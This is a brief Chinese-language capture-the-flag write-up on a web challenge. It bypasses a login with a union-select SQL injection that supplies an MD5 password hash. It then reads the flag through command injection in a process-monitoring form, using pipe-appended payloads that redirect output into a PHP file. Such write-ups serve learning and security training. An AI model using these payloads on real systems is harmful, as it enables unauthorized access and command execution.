进入环境是一个登录页面
进来先试了一遍万能密码,弱口令,目录爆破都没结果
看wp是要抓包
在响应头里有tip提示,base64解码得到源码
得到源码
显示如果密码等于它的md5值则应该能登陆成功
这里利用union select 插入密码的md5值绕过
' union select 1,md5(123)#&password=123
进入后是一个进程监控系统根据题目提示这里应该就是要命令执行了
127.0.0.1|ls /没有回显
输入127.0.0.1|sleep 5有延迟说明命令执行了,但是输出可能被过滤了
我们利用>将输出结果保存到文件中查看
127.0.0.1|ls />1.php
然后查看flag
127.0.0.1|cat /flag>1.php